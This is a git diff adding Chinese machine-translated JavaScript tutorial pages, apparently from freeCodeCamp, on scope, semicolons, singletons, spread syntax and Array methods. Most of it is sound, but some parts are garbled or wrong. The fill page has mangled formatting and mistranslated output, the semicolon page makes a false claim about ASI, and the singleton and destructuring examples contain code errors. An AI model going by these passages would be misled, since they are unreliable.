+1.  范围由函数声明，而不是由块声明。
+2.  函数可以是前向引用的，变量不能。
+
+观察（每个注释描述其写入的行的范围）：
+
+\`\`\` // outer（）在此范围内，因为函数可以是前向引用的
+```
+function outer() { 
+ 
+    // only inner() is in scope here 
+    // because only functions are forward-referenced 
+ 
+    var a = 1; 
+ 
+    //now 'a' and inner() are in scope 
+ 
+    function inner() { 
+        var b = 2 
+ 
+        if (a == 1) { 
+            var c = 3; 
+        } 
+ 
+        // 'c' is still in scope because JavaScript doesn't care 
+        // about the end of the 'if' block, only function inner() 
+    } 
+ 
+    // now b and c are out of scope 
+    // a and inner() are still in scope 
+ 
+ } 
+ 
+ // here, only outer() is in scope 
+```
+
+\`\`\`
+
+# 参考
+
+1.  Kyle Simpson的[范围和闭包](https://github.com/getify/You-Dont-Know-JS/tree/master/scope%20%26%20closures) 。它详细介绍了作用域机制的工作原理，并对JavaScript编译器的工作原理进行了表面描述，因此如果您对此感兴趣，请务必阅读！它在GitHub上是免费的，可以从O'Reilly购买。
+2.  John Resig和Bear Bibeault [的JavaScript Ninja](https://www.amazon.com/Secrets-JavaScript-Ninja-John-Resig/dp/1617292850/ref=pd_lpo_sbs_14_img_0?_encoding=UTF8&psc=1&refRID=YMC2TB2C0DFHTQ3V62CA)的[秘密](https://www.amazon.com/Secrets-JavaScript-Ninja-John-Resig/dp/1617292850/ref=pd_lpo_sbs_14_img_0?_encoding=UTF8&psc=1&refRID=YMC2TB2C0DFHTQ3V62CA) 。这是一个更深入理解JavaScript的好指南。
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/semicolons/index.md b/client/src/guide/chinese/javascript/semicolons/index.md
new file mode 100644
index 0000000000..c0094b85fa
--- /dev/null
+++ b/client/src/guide/chinese/javascript/semicolons/index.md
@@ -0,0 +1,29 @@
+---
+title: Semicolons
+localeTitle: 分号
+---
+Javascript中不需要分号。这是因为Javascript有一个名为“自动分号插入”的功能或简称ASI。 ASI会为您的Javascript添加分号。默认情况下它始终处于活动状态，它是语言的一部分，无法禁用。
+
+ASI有一套规则用于确定应该在哪里插入分号。如果已经存在分号，则不会改变任何内容。有关ASI如何工作的更多信息，请参阅[此StackOverflow答案](http://stackoverflow.com/a/2846298/3467946) 。
+
+只有一种情况是ASI失败：当一行以一个开括号开始时`(` 。为了避免这种情况导致错误，当一行以一个开括号开头时，你可以在一行开头的分号处加一个分号：
+
+```js
+;(function() { 
+  console.log('Hi!') 
+ }) 
+```
+
+请注意，只有在不使用分号时才需要这样做。
+
+一致的编码风格使代码更具可读性。决定你是否会使用分号，并在任何地方都这样做。
+
+## 您可能遇到的错误
+
+当Javascript首次制作时，它旨在帮助初学者进入编程。当他们第一次开始编程时，没有人想在他们的代码中搜索dang分号。因此，实施了分号的选择，如上所述，它们在技术上存在。
+
+例如： `javasctipt function foo(x) { return function(y) { return x + y; } } let z = foo(10); z(10)// TypeError z is not a function // Because of Automatic Semicolon Insertion, our inner function does not exist.` Javasctipt将实现预期的分号。
+
+### 其他资源
+
+[关于分号的JavaScript领导人的公开信](http://blog.izs.me/post/2353458699/an-open-letter-to-javascript-leaders-regarding)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/singleton-in-javscript/index.md b/client/src/guide/chinese/javascript/singleton-in-javscript/index.md
new file mode 100644
index 0000000000..ce5c84d30d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/singleton-in-javscript/index.md
@@ -0,0 +1,51 @@
+---
+title: Creating Singleton In JavaScript
+localeTitle: 在JavaScript中创建Singleton
+---
+## 在Javascript指南中创建Singleton
+
+这篇文章是关于在Native（纯）Javascript中创建单身人士。这个概念对于维护干净的代码很有用。
+
+如果你想维护你的代码，或者某些数据在整个应用程序中应保持相同，这就是你完成它的方法。
+
+**先验知识** 这只是为了帮助您更轻松地理解概念，否则您始终可以复制粘贴代码并相应地进行更改。
+
+*   基本的Javascript语法
+*   Javascript函数
+*   Javascript中的IIFE
+
+### 让我们开始吧
+
+让我们创建具有IIFE功能的对象，该功能将立即执行以使我们能够使用Singleton。
+```
+var singletonFn = (function(){ //Created IIFE Function 
+  var dataCounter = 0; 
+  return { //Any code inside this return stuff will be accessible directly using objectname. 
+ 
+    getDataCounter: function(){ 
+      return dataCounter; 
+    }, 
+ 
+    setDataCounter: function(val){ 
+      dataCounter = val; 
+    }, 
+ 
+    fishNames: ["SimpleFish"] //Can create variables, Arrays, etc. 
+  } 
+ })(); 
+```
+
+现在执行或使用你的单身人士。在将此文件保存到js文件并加载后，在浏览器中。
+```
+console.log(singletonFn.getDataCounter()); //0 as bydefault it will be 0. 
+ 
+ singletonFn.setDataCounter(20); 
+ 
+ console.log(singletonFn.getDataCounter()); //20 as we assigned. 
+ 
+ console.log(fishNames); //will Print array with "SimpleFish". 
+```
+
+现在有了这些知识，您可以定义常量，枚举或需要在此处编写的项目中使用多个的任何内容。或类似配置的东西。
+
+希望，这将帮助您编写更好的代码。快乐编码:)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/spread-syntax/index.md b/client/src/guide/chinese/javascript/spread-syntax/index.md
new file mode 100644
index 0000000000..69a0b3574c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/spread-syntax/index.md
@@ -0,0 +1,147 @@
+---
+title: Spread syntax
+localeTitle: 传播语法
+---
+## 传播语法
+
+Spread语法允许在可能需要零个或多个参数（用于函数调用）或元素（用于数组文字）的位置扩展可迭代的数组表达式或字符串，或者在预期为零的位置展开对象表达式。
+
+### 句法
+
+对于函数调用：
+```
+myFunction(...iterableObj); 
+```
+
+对于数组文字或字符串：
+```
+[...iterableObj, '4', 'five', 6]; 
+```
+
+### 例子
+
+#### 传播函数调用
+
+#### 替换申请
+
+在要使用数组元素作为函数参数的情况下，通常使用`Function.prototype.apply` 。
+```
+function myFunction(x, y, z) { } 
+ var args = [0, 1, 2]; 
+ myFunction.apply(null, args); 
+```
+
+使用扩展语法，上面可以写成：
+```
+function myFunction(x, y, z) { } 
+ var args = [0, 1, 2]; 
+ myFunction(...args); 
+```
+
+参数列表中的任何参数都可以使用扩展语法，并且可以多次使用。
+```
+function myFunction(v, w, x, y, z) { } 
+ var args = [0, 1]; 
+ myFunction(-1, ...args, 2, ...[3]); 
+```
+
+### 申请新的
+
+当使用`new`调用构造函数时，不可能**直接**使用数组并`apply` （ `apply`执行`[[Call]]`而不是`[[Construct]]` ）。但是，由于扩展语法，可以很容易地使用数组：
+```
+var dateFields = [1970, 0, 1];  // 1 Jan 1970 
+ var d = new Date(...dateFields); 
+```
+
+要使用带有参数数组的new而不使用扩展语法，您必须通过部分应用程序**间接**执行此操作：
+```
+function applyAndNew(constructor, args) { 
+   function partial () { 
+      return constructor.apply(this, args); 
+   }; 
+   if (typeof constructor.prototype === "object") { 
+      partial.prototype = Object.create(constructor.prototype); 
+   } 
+   return partial; 
+ } 
+ 
+ 
+ function myConstructor () { 
+   console.log("arguments.length: " + arguments.length); 
+   console.log(arguments); 
+   this.prop1="val1"; 
+   this.prop2="val2"; 
+ }; 
+ 
+ var myArguments = ["hi", "how", "are", "you", "mr", null]; 
+ var myConstructorWithArguments = applyAndNew(myConstructor, myArguments); 
+ 
+ console.log(new myConstructorWithArguments); 
+ // (internal log of myConstructor):           arguments.length: 6 
+ // (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null] 
+ // (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"} 
+```
+
+### 传播数组文字
+
+#### 一个更强大的数组文字
+
+如果没有扩展语法，要使用现有数组作为其中一部分创建新数组，则数组文字语法不再足够，必须使用push，splice，concat等组合使用命令式代码。使用扩展语法变得更加简洁：
+```
+var parts = ['shoulders', 'knees']; 
+ var lyrics = ['head', ...parts, 'and', 'toes']; 
+ // ["head", "shoulders", "knees", "and", "toes"] 
+```
+
+就像扩展参数列表一样， `...`可以在数组文字中的任何地方使用，并且可以多次使用。
+
+### 复制一个数组
+```
+var arr = [1, 2, 3]; 
+ var arr2 = [...arr]; // like arr.slice() 
+ arr2.push(4); 
+ 
+ // arr2 becomes [1, 2, 3, 4] 
+ // arr remains unaffected 
+```
+
+> **注意** ：在复制数组时，Spread语法有效地深入一级。因此，它可能不适合复制多维数组，如下例所示（与Object.assign（）和spread语法相同）。
+```
+var a = [[1], [2], [3]]; 
+ var b = [...a]; 
+ b.shift().shift(); // 1 
+ // Now array a is affected as well: [[], [2], [3]] 
+```
+
+### 连接数组的更好方法
+
+`Array.concat`通常用于将数组连接到现有数组的末尾。没有扩展语法，这可以完成：
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ // Append all items from arr2 onto arr1 
+ arr1 = arr1.concat(arr2); 
+```
+
+使用扩展语法，这将成为：
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ arr1 = [...arr1, ...arr2]; 
+```
+
+`Array.unshift`通常用于在现有数组的开头插入值数组。没有扩展语法，这可以完成：
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ // Prepend all items from arr2 onto arr1 
+ Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2] 
+```
+
+使用扩展语法，这将成为：
+```
+var arr1 = [0, 1, 2]; 
+ var arr2 = [3, 4, 5]; 
+ arr1 = [...arr2, ...arr1]; // arr1 is now [3, 4, 5, 0, 1, 2] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-destructuring/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-destructuring/index.md
new file mode 100644
index 0000000000..ea6c261c93
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-destructuring/index.md
@@ -0,0 +1,91 @@
+---
+title: Array Destructuring
+localeTitle: 数组解构
+---
+# 数组解构
+
+解构是从存储在数组中的数据中提取多个值的便捷方式。它可以在接收数据的位置使用（例如，分配的左侧）。 `ECMAScript 6`引入了此功能。
+
+如何提取值通过模式指定（请参阅示例）。
+
+### 基本变量赋值
+```
+var names = ['neel', 'meet', 'darshan']; 
+ var [nameOne, nameTwo, nameThree] = names; 
+ console.log(nameOne); // "neel" 
+ console.log(nameTwo); // "meet" 
+ console.log(nameThree); // "darshan" 
+```
+
+### 与声明分开的作业
+
+变量可以通过与变量声明分开的解构来赋值。
+```
+var a, b; 
+ 
+ [a, b] = [1, 2]; 
+ console.log(a); // 1 
+ console.log(b); // 2 
+```
+
+### 默认值
+
+如果`undefined`从数组中解压缩的值，则可以为变量分配默认值。
+```
+var a, b; 
+ 
+ [a=5, b=7] = [1]; 
+ console.log(a); // 1 
+ console.log(b); // 7 
+```
+
+### 解析从函数返回的数组
+
+始终可以从函数返回数组。解构可以使数组返回值更简洁。
+
+在此示例中， `getNames()`返回值`['neel', 'meet']`作为其输出，可以使用解构在单行中进行解析。
+```
+function getNames() { 
+  return ['neel', 'meet']; 
+ } 
+ 
+ var neel, meet; 
+ [nameOne, nameTwo] = getNames(); 
+ console.log(nameOne); // neel 
+ console.log(nameTwo); // meet 
+```
+
+### 忽略一些返回的值
+
+您可以忽略您不感兴趣的返回值：
+```
+function getNames() { 
+  return ['neel', 'meet', 'darshan']; 
+ } 
+ 
+ var [nameOne, , nameThree] = getNames(); 
+ console.log(nameOne); // neel 
+ console.log(nameThree); // darshan 
+```
+
+您还可以忽略所有返回的值：
+```
+[,,] = getNames(); 
+```
+
+### 将数组的其余部分分配给变量
+
+解构数组时，可以使用rest模式解压缩并将其余部分分配给变量：
+```
+var [a, ...b] = [1, 2, 3]; 
+ console.log(a); // 1 
+ console.log(b); // [2, 3] 
+```
+
+请注意，如果在左侧使用带有rest元素的尾随逗号，则将抛出`SyntaxError` ：
+```
+var [a, ...b,] = [1, 2, 3]; 
+ // SyntaxError: rest element may not have a trailing comma 
+```
+
+另请参见： **数组解构** | [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Array_destructuring)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-from/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-from/index.md
new file mode 100644
index 0000000000..a12e7bcff4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-from/index.md
@@ -0,0 +1,19 @@
+---
+title: Array from
+localeTitle: 数组来自
+---
+## 数组来自
+
+'Array.from（）'方法从类似数组或可迭代的对象创建一个新的Array实例。
+
+### 句法：
+
+“”” Array.from（arrayLike \[，mapFn \[，thisArg\]\]） “””
+
+### 例：
+
+“”” Array.from（ '富'）; // \[“f”，“o”，“o”\] “””
+
+#### 更多信息：
+
+[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-isarray/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-isarray/index.md
new file mode 100644
index 0000000000..3ec74f13bf
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-isarray/index.md
@@ -0,0 +1,38 @@
+---
+title: Array isArray
+localeTitle: Array isArray
+---
+如果对象是数组，则`Array.isArray()`方法返回`true`否则返回`false` 。
+
+## 句法
+```
+Array.isArray(obj) 
+```
+
+### 参数
+
+**obj**要检查的对象。
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/isArray) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/ff848265%28v=vs.94%29.aspx)
+
+## 例子
+```
+// all following calls return true 
+ Array.isArray([]); 
+ Array.isArray([1]); 
+ Array.isArray(new Array()); 
+ // Little known fact: Array.prototype itself is an array: 
+ Array.isArray(Array.prototype); 
+ 
+ // all following calls return false 
+ Array.isArray(); 
+ Array.isArray({}); 
+ Array.isArray(null); 
+ Array.isArray(undefined); 
+ Array.isArray(17); 
+ Array.isArray('Array'); 
+ Array.isArray(true); 
+ Array.isArray(false); 
+ Array.isArray({ __proto__: Array.prototype }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-length/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-length/index.md
new file mode 100644
index 0000000000..2b6441fb3e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-length/index.md
@@ -0,0 +1,26 @@
+---
+title: Array Length
+localeTitle: 数组长度
+---
+## 数组长度
+
+`length`是JavaScript中数组的一个属性，它返回或设置给定数组中的元素数。
+
+可以像这样返回数组的`length`属性。
+
+```js
+let desserts = ["Cake", "Pie", "Brownies"]; 
+ console.log(desserts.length); // 3 
+```
+
+赋值运算符与`length`属性一起可用于设置数组中的元素数量，如此。
+
+```js
+let cars = ["Saab", "BMW", "Volvo"]; 
+ cars.length = 2; 
+ console.log(cars.length); // 2 
+```
+
+#### 更多信息：
+
+https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/Array/length
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-of/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-of/index.md
new file mode 100644
index 0000000000..730fcc298d
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-of/index.md
@@ -0,0 +1,27 @@
+---
+title: Array of
+localeTitle: 数组
+---
+## 数组
+
+无论参数的数量或类型如何，Array.of（）方法都会创建一个具有可变数量参数的新Array实例。
+
+句法：
+
+```javascript
+Array.of(element0[, element1[, ...[, elementN]]]) 
+```
+
+## 例
+
+```javascript
+Array.of(7);       // [7] - creates an array with a single element 
+ Array.of(1, 2, 3); // [1, 2, 3] 
+ 
+ Array(7);          // [ , , , , , , ] - creates an empty array with a length property of 7 
+ Array(1, 2, 3);    // [1, 2, 3] 
+```
+
+#### 更多信息：
+
+有关更多信息，请访问[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/of)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-concat/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-concat/index.md
new file mode 100644
index 0000000000..36a690ac3b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-concat/index.md
@@ -0,0 +1,45 @@
+---
+title: Array.prototype.concat
+localeTitle: Array.prototype.concat
+---
+## Array.prototype.concat
+
+'concat'方法返回一个新数组，该数组由您调用它的数组元素组成，后跟参数传递顺序的元素。
+
+您可以将多个参数传递给'concat'方法。参数可以是数组，也可以是布尔值，字符串和数字等数据类型。
+
+### 句法
+
+```javascript
+const newArray = array.concat(value1, value2, value3...); 
+```
+
+### 例子
+
+#### 连接两个数组
+
+```javascript
+var cold = ['Blue', 'Green', 'Purple']; 
+ var warm = ['Red', 'Orange', 'Yellow']; 
+ 
+ var result = cold.concat(warm); 
+ 
+ console.log(result); 
+ // results in ['Blue', 'Green', 'Purple', 'Red', 'Orange', 'Yellow']; 
+```
+
+#### 将值连接到数组
+
+```javascript
+const odd = [1, 3, 5, 7, 9]; 
+ const even = [0, 2, 4, 6, 8]; 
+ 
+ const oddAndEvenAndTen = odd.concat(even, 10); 
+ 
+ console.log(oddAndEvenAndTen); 
+ // results in [1, 3, 5, 7, 9, 0, 2, 4, 6, 8, 10]; 
+```
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-copywithin/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-copywithin/index.md
new file mode 100644
index 0000000000..f27c1c4ea7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-copywithin/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.copyWithin
+localeTitle: Array.prototype.copyWithin
+---
+## Array.prototype.copyWithin
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-copywithin/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-entries/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-entries/index.md
new file mode 100644
index 0000000000..97c46bb88e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-entries/index.md
@@ -0,0 +1,11 @@
+---
+title: Array.prototype.entries
+localeTitle: Array.prototype.entries
+---
+## Array.prototype.entries
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/array/array-prototype-entries/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-every/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-every/index.md
new file mode 100644
index 0000000000..765c9349d5
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-every/index.md
@@ -0,0 +1,74 @@
+---
+title: Array.prototype.every
+localeTitle: Array.prototype.every
+---
+`every()`方法测试数组中的所有元素是否都通过了由提供的函数实现的测试。
+
+**句法**
+
+```javascript
+  arr.every(callback[, thisArg]) 
+```
+
+## 参数
+
+*   **callback**函数测试每个元素，取三个参数：
+    
+    *   **currentValue** （必填）
+        
+        当前元素在数组中处理。
+        
+    *   **索引** （可选）
+        
+        数组中正在处理的当前元素的索引。
+        
+    *   **数组** （可选）
+        
+        每个阵列都被调用了。
+        
+*   **thisArg**可选。执行回调时要使用的值。
+    
+
+[MDN链接](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every) | [MSDN链接](https://msdn.microsoft.com/en-us/LIBRary/ff679981%28v=vs.94%29.aspx)
+
+## 描述
+
+`every`方法按升序索引顺序为每个数组元素调用`every` `callback`函数，直到`callback`函数返回false。如果找到导致`callback`返回false的元素，则every方法立即返回`false` 。否则，every方法返回`true` 。
+
+不会为缺少的数组元素调用回调函数。
+
+除了数组对象之外，每个方法都可以被具有length属性且具有数字索引属性名称的任何对象使用。 `every`都不会改变调用它的数组。
+
+## 例子
+
+```javascript
+  function isBigEnough(element, index, array) { 
+    return element >= 10; 
+  } 
+  [12, 5, 8, 130, 44].every(isBigEnough);   // false 
+  [12, 54, 18, 130, 44].every(isBigEnough); // true 
+ 
+  // Define the callback function. 
+  function CheckIfEven(value, index, ar) { 
+      document.write(value + " "); 
+ 
+      if (value % 2 == 0) 
+          return true; 
+      else 
+          return false; 
+  } 
+ 
+  // Create an array. 
+  var numbers = [2, 4, 5, 6, 8]; 
+ 
+  // Check whether the callback function returns true for all of the 
+  // array values. 
+  if (numbers.every(CheckIfEven)) 
+      document.write("All are even."); 
+  else 
+      document.write("Some are not even."); 
+ 
+  // Output: 
+  // 2 4 5 Some are not even. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-fill/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-fill/index.md
new file mode 100644
index 0000000000..62da41c229
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-fill/index.md
@@ -0,0 +1,26 @@
+---
+title: Array.prototype.fill
+localeTitle: Array.prototype.fill
+---
+## Array.prototype.fill
+
+fill（）方法使用静态值填充数组中的所有元素。
+
+句法：
+
+\`\`\`\`javascript arr.fill（值） arr.fill（值，开始） arr.fill（值，开始，结束）
+```
+The fill method takes up to three arguments value, start and end. The start and end arguments are optional with default values of 0 and the length of the this object. 
+ 
+ The fill method is a mutable method, it will change this object itself, and return it, not just return a copy of it. 
+ 
+ ## Examples 
+```
+
+JavaScript的 \[1,2,3\] .fill（4）; // \[4,4,4\] \[1,2,3\] .fill（4,1​​）; // \[1,4,4\]
+
+var fruits = \[“Grape”，“Pear”，“Apple”，“Strawberry”\]; fruits.fill（“西瓜”，2,4）; //香蕉，梨，西瓜，西瓜 \`\`\`
+
+#### 更多信息：
+
+有关更多信息，请访问[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/fill)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-filter/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-filter/index.md
new file mode 100644
index 0000000000..d91a3466f4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-filter/index.md
@@ -0,0 +1,78 @@
+---
+title: Array.prototype.filter
+localeTitle: Array.prototype.filter
+---
+## Array.prototype.filter
+
+filter方法将数组作为输入。它接受数组中的每个元素，并对它应用条件语句。如果此条件返回true，则元素被“推送”到输出数组。
+
+一旦输入数组中的每个元素都被“过滤”，它就会输出一个包含返回true的每个元素的新数组。
+
+在下面的示例中，有一个数组，其中包含多个对象。通常，要遍历此数组，您可以使用for循环。
+
+在这种情况下，我们希望得到所有成绩大于或等于90的学生。
+
+```javascript
+var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ //Define an array to push student objects to. 
+ var studentsGrades = [] 
+ for (var i = 0; i < students.length; i++) { 
+  //Check if grade is greater than 90 
+  if (students[i].grade >= 90) { 
+    //Add a student to the studentsGrades array. 
+    studentsGrades.push(students[i]) 
+  } 
+ } 
+ 
+ return studentsGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+```
+
+这个for循环有效，但它非常冗长。对于需要迭代的许多数组，一遍又一遍地编写循环也会变得很繁琐。
+
+这是过滤器的一个很好的用例！
+
+以下是使用过滤器的相同示例：
+
+```javascript
+var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ 
+ var studentGrades = students.filter(function (student) { 
+  //This tests if student.grade is greater than or equal to 90. It returns the "student" object if this conditional is met. 
+  return student.grade >= 90; 
+ }); 
+ 
+ return studentGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+```
+
+编写过滤器的方法要快得多，读取时更清晰，同时仍然可以完成同样的事情。使用ES6语法，我们甚至可以使用过滤器复制6行for循环：
+
+```javascript
+var students = [ 
+  { name: 'Quincy', grade: 96 }, 
+  { name: 'Jason', grade: 84 }, 
+  { name: 'Alexis', grade: 100 }, 
+  { name: 'Sam', grade: 65 }, 
+  { name: 'Katie', grade: 90 } 
+ ]; 
+ 
+ var studentGrades = students.filter(student => student.grade >= 90); 
+ return studentGrades; // [ { name: 'Quincy', grade: 96 }, { name: 'Alexis', grade: 100 }, { name: 'Katie', grade: 90 } ] 
+```
+
+过滤器非常有用，是一个很好的选择for循环来过滤数组对条件语句。
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-find/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-find/index.md
new file mode 100644
index 0000000000..7e6b68044a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-find/index.md
@@ -0,0 +1,71 @@
+---
+title: Array.prototype.find
+localeTitle: Array.prototype.find
+---
+## 信息
+
+`find()`方法返回数组中第一个满足提供的测试函数的元素的值。否则返回undefined。 `find()`方法不会改变调用它的数组。
+
+句法：
+```
+arr.find(callback[, thisArg]) 
+```
+
+##### 参数
+
+*   `callback`
+*   函数对数组中的每个值执行，取三个参数：
+*   `element`
+    *   当前元素在数组中处理。
+*   `index`
+    *   数组中正在处理的当前元素的索引。
+*   `array`
+    *   数组查找被调用。
+*   `thisArg` （可选）
+*   执行回调时要用作此对象的对象。
+
+##### 返回值
+
+元素通过测试时数组中的值;否则，未定义。
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find)
+
+## 例子
+
+此示例将在数组中找到相应的项并从中返回对象。
+
+```javascript
+let items = [ 
+    {name: 'books', quantity: 2}, 
+    {name: 'movies', quantity: 1}, 
+    {name: 'games', quantity: 5} 
+ ]; 
+ 
+ function findMovies(item) { 
+    return item.name === 'movies'; 
+ } 
+ 
+ console.log(items.find(findMovies)); 
+ 
+ // Output 
+ //  { name: 'movies', quantity: 1 } 
+```
+
+以下示例显示了回调函数的每个可选参数的输出。这将返回`undefined`因为没有任何项将从回调函数返回true。
+
+```javascript
+function showInfo(element, index, array) { 
+  console.log('element = ' + element + ', index = ' + index + ', array = ' + array); 
+  return false; 
+ } 
+ 
+ console.log('return = ' + [4, 6, 8, 12].find(showInfo)); 
+ 
+ // Output 
+ //  element = 4, index = 0, array = 4,6,8,12 
+ //  element = 6, index = 1, array = 4,6,8,12 
+ //  element = 8, index = 2, array = 4,6,8,12 
+ //  element = 12, index = 3, array = 4,6,8,12 
+ //  return = undefined 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-findindex/index.md b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-findindex/index.md
new file mode 100644
index 0000000000..389269f460
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/array/array-prototype-findindex/index.md
@@ -0,0 +1,73 @@
+---
+title: Array.prototype.findIndex
+localeTitle: Array.prototype.findIndex
+---
+## 信息
+
+`findIndex()`方法返回数组中第一个满足提供的测试函数的元素的索引。否则返回-1。
+
+`findIndex()`方法不会改变调用它的数组。
+
+句法：
+```
+arr.findIndex(callback[, thisArg]) 
+```
+
+##### 参数
+
+*   `callback`
+*   函数对数组中的每个值执行，取三个参数：
+*   `element`
+    *   当前元素在数组中处理。
+*   `index`
+    *   数组中正在处理的当前元素的索引。
+*   `array`
+    *   调用了数组findIndex（）。
+*   `thisArg` （可选）
+*   执行回调时要用作此对象的对象。
+
+##### 返回值
+
+如果元素通过测试，则为数组中的索引;否则，-1。
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+
+## 例子
+
+此示例将在数组中找到相应的项并从中返回索引。
+
+```javascript
+let items = [ 
+    {name: 'books', quantity: 2}, 
+    {name: 'movies', quantity: 1}, 
+    {name: 'games', quantity: 5} 
+ ]; 
+ 
+ function findMovies(item) { 
+    return item.name === 'movies'; 
+ } 
+ 
+ console.log(items.findIndex(findMovies)); 
+ 
+ // Index of 2nd element in the Array is returned, 
+ // so this will result in '1' 
+```
+
+以下示例显示了回调函数的每个可选参数的输出。这将返回`-1`因为没有任何项将从回调函数返回true。
+
+```javascript
+function showInfo(element, index, array) { 
+  console.log('element = ' + element + ', index = ' + index + ', array = ' + array); 
+  return false; 
+ } 
+ 
+ console.log('return = ' + [4, 6, 8, 12].findIndex(showInfo)); 
+ 
+ // Output 
+ //  element = 4, index = 0, array = 4,6,8,12 
+ //  element = 6, index = 1, array = 4,6,8,12 
+ //  element = 8, index = 2, array = 4,6,8,12 
+ //  element = 12, index = 3, array = 4,6,8,12 
+ //  return = -1 
+
+```
\ No newline at end of file
